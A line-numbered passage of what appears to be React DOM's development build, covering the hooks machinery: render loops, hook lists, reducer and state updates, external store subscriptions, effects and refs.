15412 error('React has detected a change in the order of Hooks called by %s. ' + 'This will lead to bugs and errors if not fixed. ' + 'For more information, read the Rules of Hooks: https://reactjs.org/link/rules-of-hooks\n\n' + ' Previous render Next render\n' + ' ------------------------------------------------------\n' + '%s' + ' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n', componentName, table);
15413 }
15414 }
15415 }
15416 }
15417
15418 function throwInvalidHookError() {
15419 throw new Error('Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' + ' one of the following reasons:\n' + '1. You might have mismatching versions of React and the renderer (such as React DOM)\n' + '2. You might be breaking the Rules of Hooks\n' + '3. You might have more than one copy of React in the same app\n' + 'See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.');
15420 }
15421
15422 function areHookInputsEqual(nextDeps, prevDeps) {
15423 {
15424 if (ignorePreviousDependencies) {
15425 // Only true when this component is being hot reloaded.
15426 return false;
15427 }
15428 }
15429
15430 if (prevDeps === null) {
15431 {
15432 error('%s received a final argument during this render, but not during ' + 'the previous render. Even though the final argument is optional, ' + 'its type cannot change between renders.', currentHookNameInDev);
15433 }
15434
15435 return false;
15436 }
15437
15438 {
15439 // Don't bother comparing lengths in prod because these arrays should be
15440 // passed inline.
15441 if (nextDeps.length !== prevDeps.length) {
15442 error('The final argument passed to %s changed size between renders. The ' + 'order and size of this array must remain constant.\n\n' + 'Previous: %s\n' + 'Incoming: %s', currentHookNameInDev, "[" + prevDeps.join(', ') + "]", "[" + nextDeps.join(', ') + "]");
15443 }
15444 }
15445
15446 for (var i = 0; i < prevDeps.length && i < nextDeps.length; i++) {
15447 if (objectIs(nextDeps[i], prevDeps[i])) {
15448 continue;
15449 }
15450
15451 return false;
15452 }
15453
15454 return true;
15455 }
15456
15457 function renderWithHooks(current, workInProgress, Component, props, secondArg, nextRenderLanes) {
15458 renderLanes = nextRenderLanes;
15459 currentlyRenderingFiber$1 = workInProgress;
15460
15461 {
15462 hookTypesDev = current !== null ? current._debugHookTypes : null;
15463 hookTypesUpdateIndexDev = -1; // Used for hot reloading:
15464
15465 ignorePreviousDependencies = current !== null && current.type !== workInProgress.type;
15466 }
15467
15468 workInProgress.memoizedState = null;
15469 workInProgress.updateQueue = null;
15470 workInProgress.lanes = NoLanes; // The following should have already been reset
15471 // currentHook = null;
15472 // workInProgressHook = null;
15473 // didScheduleRenderPhaseUpdate = false;
15474 // localIdCounter = 0;
15475 // TODO Warn if no hooks are used at all during mount, then some are used during update.
15476 // Currently we will identify the update render as a mount because memoizedState === null.
15477 // This is tricky because it's valid for certain types of components (e.g. React.lazy)
15478 // Using memoizedState to differentiate between mount/update only works if at least one stateful hook is used.
15479 // Non-stateful hooks (e.g. context) don't get added to memoizedState,
15480 // so memoizedState would be null during updates and mounts.
15481
15482 {
15483 if (current !== null && current.memoizedState !== null) {
15484 ReactCurrentDispatcher$1.current = HooksDispatcherOnUpdateInDEV;
15485 } else if (hookTypesDev !== null) {
15486 // This dispatcher handles an edge case where a component is updating,
15487 // but no stateful hooks have been used.
15488 // We want to match the production code behavior (which will use HooksDispatcherOnMount),
15489 // but with the extra DEV validation to ensure hooks ordering hasn't changed.
15490 // This dispatcher does that.
15491 ReactCurrentDispatcher$1.current = HooksDispatcherOnMountWithHookTypesInDEV;
15492 } else {
15493 ReactCurrentDispatcher$1.current = HooksDispatcherOnMountInDEV;
15494 }
15495 }
15496
15497 var children = Component(props, secondArg); // Check if there was a render phase update
15498
15499 if (didScheduleRenderPhaseUpdateDuringThisPass) {
15500 // Keep rendering in a loop for as long as render phase updates continue to
15501 // be scheduled. Use a counter to prevent infinite loops.
15502 var numberOfReRenders = 0;
15503
15504 do {
15505 didScheduleRenderPhaseUpdateDuringThisPass = false;
15506 localIdCounter = 0;
15507
15508 if (numberOfReRenders >= RE_RENDER_LIMIT) {
15509 throw new Error('Too many re-renders. React limits the number of renders to prevent ' + 'an infinite loop.');
15510 }
15511
15512 numberOfReRenders += 1;
15513
15514 {
15515 // Even when hot reloading, allow dependencies to stabilize
15516 // after first render to prevent infinite render phase updates.
15517 ignorePreviousDependencies = false;
15518 } // Start over from the beginning of the list
15519
15520
15521 currentHook = null;
15522 workInProgressHook = null;
15523 workInProgress.updateQueue = null;
15524
15525 {
15526 // Also validate hook order for cascading updates.
15527 hookTypesUpdateIndexDev = -1;
15528 }
15529
15530 ReactCurrentDispatcher$1.current = HooksDispatcherOnRerenderInDEV ;
15531 children = Component(props, secondArg);
15532 } while (didScheduleRenderPhaseUpdateDuringThisPass);
15533 } // We can assume the previous dispatcher is always this one, since we set it
15534 // at the beginning of the render phase and there's no re-entrance.
15535
15536
15537 ReactCurrentDispatcher$1.current = ContextOnlyDispatcher;
15538
15539 {
15540 workInProgress._debugHookTypes = hookTypesDev;
15541 } // This check uses currentHook so that it works the same in DEV and prod bundles.
15542 // hookTypesDev could catch more cases (e.g. context) but only in DEV bundles.
15543
15544
15545 var didRenderTooFewHooks = currentHook !== null && currentHook.next !== null;
15546 renderLanes = NoLanes;
15547 currentlyRenderingFiber$1 = null;
15548 currentHook = null;
15549 workInProgressHook = null;
15550
15551 {
15552 currentHookNameInDev = null;
15553 hookTypesDev = null;
15554 hookTypesUpdateIndexDev = -1; // Confirm that a static flag was not added or removed since the last
15555 // render. If this fires, it suggests that we incorrectly reset the static
15556 // flags in some other part of the codebase. This has happened before, for
15557 // example, in the SuspenseList implementation.
15558
15559 if (current !== null && (current.flags & StaticMask) !== (workInProgress.flags & StaticMask) && // Disable this warning in legacy mode, because legacy Suspense is weird
15560 // and creates false positives. To make this work in legacy mode, we'd
15561 // need to mark fibers that commit in an incomplete state, somehow. For
15562 // now I'll disable the warning that most of the bugs that would trigger
15563 // it are either exclusive to concurrent mode or exist in both.
15564 (current.mode & ConcurrentMode) !== NoMode) {
15565 error('Internal React error: Expected static flag was missing. Please ' + 'notify the React team.');
15566 }
15567 }
15568
15569 didScheduleRenderPhaseUpdate = false; // This is reset by checkDidRenderIdHook
15570 // localIdCounter = 0;
15571
15572 if (didRenderTooFewHooks) {
15573 throw new Error('Rendered fewer hooks than expected. This may be caused by an accidental ' + 'early return statement.');
15574 }
15575
15576 return children;
15577 }
15578 function checkDidRenderIdHook() {
15579 // This should be called immediately after every renderWithHooks call.
15580 // Conceptually, it's part of the return value of renderWithHooks; it's only a
15581 // separate function to avoid using an array tuple.
15582 var didRenderIdHook = localIdCounter !== 0;
15583 localIdCounter = 0;
15584 return didRenderIdHook;
15585 }
15586 function bailoutHooks(current, workInProgress, lanes) {
15587 workInProgress.updateQueue = current.updateQueue; // TODO: Don't need to reset the flags here, because they're reset in the
15588 // complete phase (bubbleProperties).
15589
15590 if ( (workInProgress.mode & StrictEffectsMode) !== NoMode) {
15591 workInProgress.flags &= ~(MountPassiveDev | MountLayoutDev | Passive | Update);
15592 } else {
15593 workInProgress.flags &= ~(Passive | Update);
15594 }
15595
15596 current.lanes = removeLanes(current.lanes, lanes);
15597 }
15598 function resetHooksAfterThrow() {
15599 // We can assume the previous dispatcher is always this one, since we set it
15600 // at the beginning of the render phase and there's no re-entrance.
15601 ReactCurrentDispatcher$1.current = ContextOnlyDispatcher;
15602
15603 if (didScheduleRenderPhaseUpdate) {
15604 // There were render phase updates. These are only valid for this render
15605 // phase, which we are now aborting. Remove the updates from the queues so
15606 // they do not persist to the next render. Do not remove updates from hooks
15607 // that weren't processed.
15608 //
15609 // Only reset the updates from the queue if it has a clone. If it does
15610 // not have a clone, that means it wasn't processed, and the updates were
15611 // scheduled before we entered the render phase.
15612 var hook = currentlyRenderingFiber$1.memoizedState;
15613
15614 while (hook !== null) {
15615 var queue = hook.queue;
15616
15617 if (queue !== null) {
15618 queue.pending = null;
15619 }
15620
15621 hook = hook.next;
15622 }
15623
15624 didScheduleRenderPhaseUpdate = false;
15625 }
15626
15627 renderLanes = NoLanes;
15628 currentlyRenderingFiber$1 = null;
15629 currentHook = null;
15630 workInProgressHook = null;
15631
15632 {
15633 hookTypesDev = null;
15634 hookTypesUpdateIndexDev = -1;
15635 currentHookNameInDev = null;
15636 isUpdatingOpaqueValueInRenderPhase = false;
15637 }
15638
15639 didScheduleRenderPhaseUpdateDuringThisPass = false;
15640 localIdCounter = 0;
15641 }
15642
15643 function mountWorkInProgressHook() {
15644 var hook = {
15645 memoizedState: null,
15646 baseState: null,
15647 baseQueue: null,
15648 queue: null,
15649 next: null
15650 };
15651
15652 if (workInProgressHook === null) {
15653 // This is the first hook in the list
15654 currentlyRenderingFiber$1.memoizedState = workInProgressHook = hook;
15655 } else {
15656 // Append to the end of the list
15657 workInProgressHook = workInProgressHook.next = hook;
15658 }
15659
15660 return workInProgressHook;
15661 }
15662
15663 function updateWorkInProgressHook() {
15664 // This function is used both for updates and for re-renders triggered by a
15665 // render phase update. It assumes there is either a current hook we can
15666 // clone, or a work-in-progress hook from a previous render pass that we can
15667 // use as a base. When we reach the end of the base list, we must switch to
15668 // the dispatcher used for mounts.
15669 var nextCurrentHook;
15670
15671 if (currentHook === null) {
15672 var current = currentlyRenderingFiber$1.alternate;
15673
15674 if (current !== null) {
15675 nextCurrentHook = current.memoizedState;
15676 } else {
15677 nextCurrentHook = null;
15678 }
15679 } else {
15680 nextCurrentHook = currentHook.next;
15681 }
15682
15683 var nextWorkInProgressHook;
15684
15685 if (workInProgressHook === null) {
15686 nextWorkInProgressHook = currentlyRenderingFiber$1.memoizedState;
15687 } else {
15688 nextWorkInProgressHook = workInProgressHook.next;
15689 }
15690
15691 if (nextWorkInProgressHook !== null) {
15692 // There's already a work-in-progress. Reuse it.
15693 workInProgressHook = nextWorkInProgressHook;
15694 nextWorkInProgressHook = workInProgressHook.next;
15695 currentHook = nextCurrentHook;
15696 } else {
15697 // Clone from the current hook.
15698 if (nextCurrentHook === null) {
15699 throw new Error('Rendered more hooks than during the previous render.');
15700 }
15701
15702 currentHook = nextCurrentHook;
15703 var newHook = {
15704 memoizedState: currentHook.memoizedState,
15705 baseState: currentHook.baseState,
15706 baseQueue: currentHook.baseQueue,
15707 queue: currentHook.queue,
15708 next: null
15709 };
15710
15711 if (workInProgressHook === null) {
15712 // This is the first hook in the list.
15713 currentlyRenderingFiber$1.memoizedState = workInProgressHook = newHook;
15714 } else {
15715 // Append to the end of the list.
15716 workInProgressHook = workInProgressHook.next = newHook;
15717 }
15718 }
15719
15720 return workInProgressHook;
15721 }
15722
15723 function createFunctionComponentUpdateQueue() {
15724 return {
15725 lastEffect: null,
15726 stores: null
15727 };
15728 }
15729
15730 function basicStateReducer(state, action) {
15731 // $FlowFixMe: Flow doesn't like mixed types
15732 return typeof action === 'function' ? action(state) : action;
15733 }
15734
15735 function mountReducer(reducer, initialArg, init) {
15736 var hook = mountWorkInProgressHook();
15737 var initialState;
15738
15739 if (init !== undefined) {
15740 initialState = init(initialArg);
15741 } else {
15742 initialState = initialArg;
15743 }
15744
15745 hook.memoizedState = hook.baseState = initialState;
15746 var queue = {
15747 pending: null,
15748 interleaved: null,
15749 lanes: NoLanes,
15750 dispatch: null,
15751 lastRenderedReducer: reducer,
15752 lastRenderedState: initialState
15753 };
15754 hook.queue = queue;
15755 var dispatch = queue.dispatch = dispatchReducerAction.bind(null, currentlyRenderingFiber$1, queue);
15756 return [hook.memoizedState, dispatch];
15757 }
15758
15759 function updateReducer(reducer, initialArg, init) {
15760 var hook = updateWorkInProgressHook();
15761 var queue = hook.queue;
15762
15763 if (queue === null) {
15764 throw new Error('Should have a queue. This is likely a bug in React. Please file an issue.');
15765 }
15766
15767 queue.lastRenderedReducer = reducer;
15768 var current = currentHook; // The last rebase update that is NOT part of the base state.
15769
15770 var baseQueue = current.baseQueue; // The last pending update that hasn't been processed yet.
15771
15772 var pendingQueue = queue.pending;
15773
15774 if (pendingQueue !== null) {
15775 // We have new updates that haven't been processed yet.
15776 // We'll add them to the base queue.
15777 if (baseQueue !== null) {
15778 // Merge the pending queue and the base queue.
15779 var baseFirst = baseQueue.next;
15780 var pendingFirst = pendingQueue.next;
15781 baseQueue.next = pendingFirst;
15782 pendingQueue.next = baseFirst;
15783 }
15784
15785 {
15786 if (current.baseQueue !== baseQueue) {
15787 // Internal invariant that should never happen, but feasibly could in
15788 // the future if we implement resuming, or some form of that.
15789 error('Internal error: Expected work-in-progress queue to be a clone. ' + 'This is a bug in React.');
15790 }
15791 }
15792
15793 current.baseQueue = baseQueue = pendingQueue;
15794 queue.pending = null;
15795 }
15796
15797 if (baseQueue !== null) {
15798 // We have a queue to process.
15799 var first = baseQueue.next;
15800 var newState = current.baseState;
15801 var newBaseState = null;
15802 var newBaseQueueFirst = null;
15803 var newBaseQueueLast = null;
15804 var update = first;
15805
15806 do {
15807 var updateLane = update.lane;
15808
15809 if (!isSubsetOfLanes(renderLanes, updateLane)) {
15810 // Priority is insufficient. Skip this update. If this is the first
15811 // skipped update, the previous update/state is the new base
15812 // update/state.
15813 var clone = {
15814 lane: updateLane,
15815 action: update.action,
15816 hasEagerState: update.hasEagerState,
15817 eagerState: update.eagerState,
15818 next: null
15819 };
15820
15821 if (newBaseQueueLast === null) {
15822 newBaseQueueFirst = newBaseQueueLast = clone;
15823 newBaseState = newState;
15824 } else {
15825 newBaseQueueLast = newBaseQueueLast.next = clone;
15826 } // Update the remaining priority in the queue.
15827 // TODO: Don't need to accumulate this. Instead, we can remove
15828 // renderLanes from the original lanes.
15829
15830
15831 currentlyRenderingFiber$1.lanes = mergeLanes(currentlyRenderingFiber$1.lanes, updateLane);
15832 markSkippedUpdateLanes(updateLane);
15833 } else {
15834 // This update does have sufficient priority.
15835 if (newBaseQueueLast !== null) {
15836 var _clone = {
15837 // This update is going to be committed so we never want uncommit
15838 // it. Using NoLane works because 0 is a subset of all bitmasks, so
15839 // this will never be skipped by the check above.
15840 lane: NoLane,
15841 action: update.action,
15842 hasEagerState: update.hasEagerState,
15843 eagerState: update.eagerState,
15844 next: null
15845 };
15846 newBaseQueueLast = newBaseQueueLast.next = _clone;
15847 } // Process this update.
15848
15849
15850 if (update.hasEagerState) {
15851 // If this update is a state update (not a reducer) and was processed eagerly,
15852 // we can use the eagerly computed state
15853 newState = update.eagerState;
15854 } else {
15855 var action = update.action;
15856 newState = reducer(newState, action);
15857 }
15858 }
15859
15860 update = update.next;
15861 } while (update !== null && update !== first);
15862
15863 if (newBaseQueueLast === null) {
15864 newBaseState = newState;
15865 } else {
15866 newBaseQueueLast.next = newBaseQueueFirst;
15867 } // Mark that the fiber performed work, but only if the new state is
15868 // different from the current state.
15869
15870
15871 if (!objectIs(newState, hook.memoizedState)) {
15872 markWorkInProgressReceivedUpdate();
15873 }
15874
15875 hook.memoizedState = newState;
15876 hook.baseState = newBaseState;
15877 hook.baseQueue = newBaseQueueLast;
15878 queue.lastRenderedState = newState;
15879 } // Interleaved updates are stored on a separate queue. We aren't going to
15880 // process them during this render, but we do need to track which lanes
15881 // are remaining.
15882
15883
15884 var lastInterleaved = queue.interleaved;
15885
15886 if (lastInterleaved !== null) {
15887 var interleaved = lastInterleaved;
15888
15889 do {
15890 var interleavedLane = interleaved.lane;
15891 currentlyRenderingFiber$1.lanes = mergeLanes(currentlyRenderingFiber$1.lanes, interleavedLane);
15892 markSkippedUpdateLanes(interleavedLane);
15893 interleaved = interleaved.next;
15894 } while (interleaved !== lastInterleaved);
15895 } else if (baseQueue === null) {
15896 // `queue.lanes` is used for entangling transitions. We can set it back to
15897 // zero once the queue is empty.
15898 queue.lanes = NoLanes;
15899 }
15900
15901 var dispatch = queue.dispatch;
15902 return [hook.memoizedState, dispatch];
15903 }
15904
15905 function rerenderReducer(reducer, initialArg, init) {
15906 var hook = updateWorkInProgressHook();
15907 var queue = hook.queue;
15908
15909 if (queue === null) {
15910 throw new Error('Should have a queue. This is likely a bug in React. Please file an issue.');
15911 }
15912
15913 queue.lastRenderedReducer = reducer; // This is a re-render. Apply the new render phase updates to the previous
15914 // work-in-progress hook.
15915
15916 var dispatch = queue.dispatch;
15917 var lastRenderPhaseUpdate = queue.pending;
15918 var newState = hook.memoizedState;
15919
15920 if (lastRenderPhaseUpdate !== null) {
15921 // The queue doesn't persist past this render pass.
15922 queue.pending = null;
15923 var firstRenderPhaseUpdate = lastRenderPhaseUpdate.next;
15924 var update = firstRenderPhaseUpdate;
15925
15926 do {
15927 // Process this render phase update. We don't have to check the
15928 // priority because it will always be the same as the current
15929 // render's.
15930 var action = update.action;
15931 newState = reducer(newState, action);
15932 update = update.next;
15933 } while (update !== firstRenderPhaseUpdate); // Mark that the fiber performed work, but only if the new state is
15934 // different from the current state.
15935
15936
15937 if (!objectIs(newState, hook.memoizedState)) {
15938 markWorkInProgressReceivedUpdate();
15939 }
15940
15941 hook.memoizedState = newState; // Don't persist the state accumulated from the render phase updates to
15942 // the base state unless the queue is empty.
15943 // TODO: Not sure if this is the desired semantics, but it's what we
15944 // do for gDSFP. I can't remember why.
15945
15946 if (hook.baseQueue === null) {
15947 hook.baseState = newState;
15948 }
15949
15950 queue.lastRenderedState = newState;
15951 }
15952
15953 return [newState, dispatch];
15954 }
15955
15956 function mountMutableSource(source, getSnapshot, subscribe) {
15957 {
15958 return undefined;
15959 }
15960 }
15961
15962 function updateMutableSource(source, getSnapshot, subscribe) {
15963 {
15964 return undefined;
15965 }
15966 }
15967
15968 function mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot) {
15969 var fiber = currentlyRenderingFiber$1;
15970 var hook = mountWorkInProgressHook();
15971 var nextSnapshot;
15972 var isHydrating = getIsHydrating();
15973
15974 if (isHydrating) {
15975 if (getServerSnapshot === undefined) {
15976 throw new Error('Missing getServerSnapshot, which is required for ' + 'server-rendered content. Will revert to client rendering.');
15977 }
15978
15979 nextSnapshot = getServerSnapshot();
15980
15981 {
15982 if (!didWarnUncachedGetSnapshot) {
15983 if (nextSnapshot !== getServerSnapshot()) {
15984 error('The result of getServerSnapshot should be cached to avoid an infinite loop');
15985
15986 didWarnUncachedGetSnapshot = true;
15987 }
15988 }
15989 }
15990 } else {
15991 nextSnapshot = getSnapshot();
15992
15993 {
15994 if (!didWarnUncachedGetSnapshot) {
15995 var cachedSnapshot = getSnapshot();
15996
15997 if (!objectIs(nextSnapshot, cachedSnapshot)) {
15998 error('The result of getSnapshot should be cached to avoid an infinite loop');
15999
16000 didWarnUncachedGetSnapshot = true;
16001 }
16002 }
16003 } // Unless we're rendering a blocking lane, schedule a consistency check.
16004 // Right before committing, we will walk the tree and check if any of the
16005 // stores were mutated.
16006 //
16007 // We won't do this if we're hydrating server-rendered content, because if
16008 // the content is stale, it's already visible anyway. Instead we'll patch
16009 // it up in a passive effect.
16010
16011
16012 var root = getWorkInProgressRoot();
16013
16014 if (root === null) {
16015 throw new Error('Expected a work-in-progress root. This is a bug in React. Please file an issue.');
16016 }
16017
16018 if (!includesBlockingLane(root, renderLanes)) {
16019 pushStoreConsistencyCheck(fiber, getSnapshot, nextSnapshot);
16020 }
16021 } // Read the current snapshot from the store on every render. This breaks the
16022 // normal rules of React, and only works because store updates are
16023 // always synchronous.
16024
16025
16026 hook.memoizedState = nextSnapshot;
16027 var inst = {
16028 value: nextSnapshot,
16029 getSnapshot: getSnapshot
16030 };
16031 hook.queue = inst; // Schedule an effect to subscribe to the store.
16032
16033 mountEffect(subscribeToStore.bind(null, fiber, inst, subscribe), [subscribe]); // Schedule an effect to update the mutable instance fields. We will update
16034 // this whenever subscribe, getSnapshot, or value changes. Because there's no
16035 // clean-up function, and we track the deps correctly, we can call pushEffect
16036 // directly, without storing any additional state. For the same reason, we
16037 // don't need to set a static flag, either.
16038 // TODO: We can move this to the passive phase once we add a pre-commit
16039 // consistency check. See the next comment.
16040
16041 fiber.flags |= Passive;
16042 pushEffect(HasEffect | Passive$1, updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot), undefined, null);
16043 return nextSnapshot;
16044 }
16045
16046 function updateSyncExternalStore(subscribe, getSnapshot, getServerSnapshot) {
16047 var fiber = currentlyRenderingFiber$1;
16048 var hook = updateWorkInProgressHook(); // Read the current snapshot from the store on every render. This breaks the
16049 // normal rules of React, and only works because store updates are
16050 // always synchronous.
16051
16052 var nextSnapshot = getSnapshot();
16053
16054 {
16055 if (!didWarnUncachedGetSnapshot) {
16056 var cachedSnapshot = getSnapshot();
16057
16058 if (!objectIs(nextSnapshot, cachedSnapshot)) {
16059 error('The result of getSnapshot should be cached to avoid an infinite loop');
16060
16061 didWarnUncachedGetSnapshot = true;
16062 }
16063 }
16064 }
16065
16066 var prevSnapshot = hook.memoizedState;
16067 var snapshotChanged = !objectIs(prevSnapshot, nextSnapshot);
16068
16069 if (snapshotChanged) {
16070 hook.memoizedState = nextSnapshot;
16071 markWorkInProgressReceivedUpdate();
16072 }
16073
16074 var inst = hook.queue;
16075 updateEffect(subscribeToStore.bind(null, fiber, inst, subscribe), [subscribe]); // Whenever getSnapshot or subscribe changes, we need to check in the
16076 // commit phase if there was an interleaved mutation. In concurrent mode
16077 // this can happen all the time, but even in synchronous mode, an earlier
16078 // effect may have mutated the store.
16079
16080 if (inst.getSnapshot !== getSnapshot || snapshotChanged || // Check if the susbcribe function changed. We can save some memory by
16081 // checking whether we scheduled a subscription effect above.
16082 workInProgressHook !== null && workInProgressHook.memoizedState.tag & HasEffect) {
16083 fiber.flags |= Passive;
16084 pushEffect(HasEffect | Passive$1, updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot), undefined, null); // Unless we're rendering a blocking lane, schedule a consistency check.
16085 // Right before committing, we will walk the tree and check if any of the
16086 // stores were mutated.
16087
16088 var root = getWorkInProgressRoot();
16089
16090 if (root === null) {
16091 throw new Error('Expected a work-in-progress root. This is a bug in React. Please file an issue.');
16092 }
16093
16094 if (!includesBlockingLane(root, renderLanes)) {
16095 pushStoreConsistencyCheck(fiber, getSnapshot, nextSnapshot);
16096 }
16097 }
16098
16099 return nextSnapshot;
16100 }
16101
16102 function pushStoreConsistencyCheck(fiber, getSnapshot, renderedSnapshot) {
16103 fiber.flags |= StoreConsistency;
16104 var check = {
16105 getSnapshot: getSnapshot,
16106 value: renderedSnapshot
16107 };
16108 var componentUpdateQueue = currentlyRenderingFiber$1.updateQueue;
16109
16110 if (componentUpdateQueue === null) {
16111 componentUpdateQueue = createFunctionComponentUpdateQueue();
16112 currentlyRenderingFiber$1.updateQueue = componentUpdateQueue;
16113 componentUpdateQueue.stores = [check];
16114 } else {
16115 var stores = componentUpdateQueue.stores;
16116
16117 if (stores === null) {
16118 componentUpdateQueue.stores = [check];
16119 } else {
16120 stores.push(check);
16121 }
16122 }
16123 }
16124
16125 function updateStoreInstance(fiber, inst, nextSnapshot, getSnapshot) {
16126 // These are updated in the passive phase
16127 inst.value = nextSnapshot;
16128 inst.getSnapshot = getSnapshot; // Something may have been mutated in between render and commit. This could
16129 // have been in an event that fired before the passive effects, or it could
16130 // have been in a layout effect. In that case, we would have used the old
16131 // snapsho and getSnapshot values to bail out. We need to check one more time.
16132
16133 if (checkIfSnapshotChanged(inst)) {
16134 // Force a re-render.
16135 forceStoreRerender(fiber);
16136 }
16137 }
16138
16139 function subscribeToStore(fiber, inst, subscribe) {
16140 var handleStoreChange = function () {
16141 // The store changed. Check if the snapshot changed since the last time we
16142 // read from the store.
16143 if (checkIfSnapshotChanged(inst)) {
16144 // Force a re-render.
16145 forceStoreRerender(fiber);
16146 }
16147 }; // Subscribe to the store and return a clean-up function.
16148
16149
16150 return subscribe(handleStoreChange);
16151 }
16152
16153 function checkIfSnapshotChanged(inst) {
16154 var latestGetSnapshot = inst.getSnapshot;
16155 var prevValue = inst.value;
16156
16157 try {
16158 var nextValue = latestGetSnapshot();
16159 return !objectIs(prevValue, nextValue);
16160 } catch (error) {
16161 return true;
16162 }
16163 }
16164
16165 function forceStoreRerender(fiber) {
16166 var root = enqueueConcurrentRenderForLane(fiber, SyncLane);
16167
16168 if (root !== null) {
16169 scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
16170 }
16171 }
16172
16173 function mountState(initialState) {
16174 var hook = mountWorkInProgressHook();
16175
16176 if (typeof initialState === 'function') {
16177 // $FlowFixMe: Flow doesn't like mixed types
16178 initialState = initialState();
16179 }
16180
16181 hook.memoizedState = hook.baseState = initialState;
16182 var queue = {
16183 pending: null,
16184 interleaved: null,
16185 lanes: NoLanes,
16186 dispatch: null,
16187 lastRenderedReducer: basicStateReducer,
16188 lastRenderedState: initialState
16189 };
16190 hook.queue = queue;
16191 var dispatch = queue.dispatch = dispatchSetState.bind(null, currentlyRenderingFiber$1, queue);
16192 return [hook.memoizedState, dispatch];
16193 }
16194
16195 function updateState(initialState) {
16196 return updateReducer(basicStateReducer);
16197 }
16198
16199 function rerenderState(initialState) {
16200 return rerenderReducer(basicStateReducer);
16201 }
16202
16203 function pushEffect(tag, create, destroy, deps) {
16204 var effect = {
16205 tag: tag,
16206 create: create,
16207 destroy: destroy,
16208 deps: deps,
16209 // Circular
16210 next: null
16211 };
16212 var componentUpdateQueue = currentlyRenderingFiber$1.updateQueue;
16213
16214 if (componentUpdateQueue === null) {
16215 componentUpdateQueue = createFunctionComponentUpdateQueue();
16216 currentlyRenderingFiber$1.updateQueue = componentUpdateQueue;
16217 componentUpdateQueue.lastEffect = effect.next = effect;
16218 } else {
16219 var lastEffect = componentUpdateQueue.lastEffect;
16220
16221 if (lastEffect === null) {
16222 componentUpdateQueue.lastEffect = effect.next = effect;
16223 } else {
16224 var firstEffect = lastEffect.next;
16225 lastEffect.next = effect;
16226 effect.next = firstEffect;
16227 componentUpdateQueue.lastEffect = effect;
16228 }
16229 }
16230
16231 return effect;
16232 }
16233
16234 function mountRef(initialValue) {
16235 var hook = mountWorkInProgressHook();
16236
16237 {
16238 var _ref2 = {
16239 current: initialValue
16240 };
16241 hook.memoizedState = _ref2;
16242 return _ref2;
16243 }
16244 }
16245
16246 function updateRef(initialValue) {
16247 var hook = updateWorkInProgressHook();
16248 return hook.memoizedState;
16249 }
16250
16251 function mountEffectImpl(fiberFlags, hookFlags, create, deps) {
16252 var hook = mountWorkInProgressHook();
16253 var nextDeps = deps === undefined ? null : deps;
16254 currentlyRenderingFiber$1.flags |= fiberFlags;
16255 hook.memoizedState = pushEffect(HasEffect | hookFlags, create, undefined, nextDeps);
16256 }
16257
16258 function updateEffectImpl(fiberFlags, hookFlags, create, deps) {
16259 var hook = updateWorkInProgressHook();
16260 var nextDeps = deps === undefined ? null : deps;
16261 var destroy = undefined;
16262
16263 if (currentHook !== null) {
16264 var prevEffect = currentHook.memoizedState;
16265 destroy = prevEffect.destroy;
16266
16267 if (nextDeps !== null) {
16268 var prevDeps = prevEffect.deps;
16269
16270 if (areHookInputsEqual(nextDeps, prevDeps)) {
16271 hook.memoizedState = pushEffect(hookFlags, create, destroy, nextDeps);
16272 return;
16273 }
16274 }
16275 }
16276
16277 currentlyRenderingFiber$1.flags |= fiberFlags;
16278 hook.memoizedState = pushEffect(HasEffect | hookFlags, create, destroy, nextDeps);
16279 }
16280
16281 function mountEffect(create, deps) {
16282 if ( (currentlyRenderingFiber$1.mode & StrictEffectsMode) !== NoMode) {
16283 return mountEffectImpl(MountPassiveDev | Passive | PassiveStatic, Passive$1, create, deps);
16284 } else {
16285 return mountEffectImpl(Passive | PassiveStatic, Passive$1, create, deps);
16286 }
16287 }
16288
16289 function updateEffect(create, deps) {
16290 return updateEffectImpl(Passive, Passive$1, create, deps);
16291 }
16292
16293 function mountInsertionEffect(create, deps) {
16294 return mountEffectImpl(Update, Insertion, create, deps);
16295 }
16296
16297 function updateInsertionEffect(create, deps) {
16298 return updateEffectImpl(Update, Insertion, create, deps);
16299 }
16300
16301 function mountLayoutEffect(create, deps) {
16302 var fiberFlags = Update;
16303
16304 {
16305 fiberFlags |= LayoutStatic;
16306 }
16307
16308 if ( (currentlyRenderingFiber$1.mode & StrictEffectsMode) !== NoMode) {
16309 fiberFlags |= MountLayoutDev;
16310 }
16311
16312 return mountEffectImpl(fiberFlags, Layout, create, deps);
16313 }
16314
16315 function updateLayoutEffect(create, deps) {
16316 return updateEffectImpl(Update, Layout, create, deps);
16317 }
16318
16319 function imperativeHandleEffect(create, ref) {
16320 if (typeof ref === 'function') {
16321 var refCallback = ref;
16322
16323 var _inst = create();
16324
16325 refCallback(_inst);
16326 return function () {
16327 refCallback(null);
16328 };
16329 } else if (ref !== null && ref !== undefined) {
16330 var refObject = ref;
16331
16332 {
16333 if (!refObject.hasOwnProperty('current')) {
16334 error('Expected useImperativeHandle() first argument to either be a ' + 'ref callback or React.createRef() object. Instead received: %s.', 'an object with keys {' + Object.keys(refObject).join(', ') + '}');
16335 }
16336 }
16337
16338 var _inst2 = create();
16339
16340 refObject.current = _inst2;
16341 return function () {
16342 refObject.current = null;
16343 };
16344 }
16345 }
16346
16347 function mountImperativeHandle(ref, create, deps) {
16348 {
16349 if (typeof create !== 'function') {
16350 error('Expected useImperativeHandle() second argument to be a function ' + 'that creates a handle. Instead received: %s.', create !== null ? typeof create : 'null');
16351 }
16352 } // TODO: If deps are provided, should we skip comparing the ref itself?
16353
16354
16355 var effectDeps = deps !== null && deps !== undefined ? deps.concat([ref]) : null;
16356 var fiberFlags = Update;
16357
16358 {
16359 fiberFlags |= LayoutStatic;
16360 }
16361
16362 if ( (currentlyRenderingFiber$1.mode & StrictEffectsMode) !== NoMode) {
16363 fiberFlags |= MountLayoutDev;
16364 }
16365
16366 return mountEffectImpl(fiberFlags, Layout, imperativeHandleEffect.bind(null, create, ref), effectDeps);
16367 }
16368
16369 function updateImperativeHandle(ref, create, deps) {
16370 {
16371 if (typeof create !== 'function') {
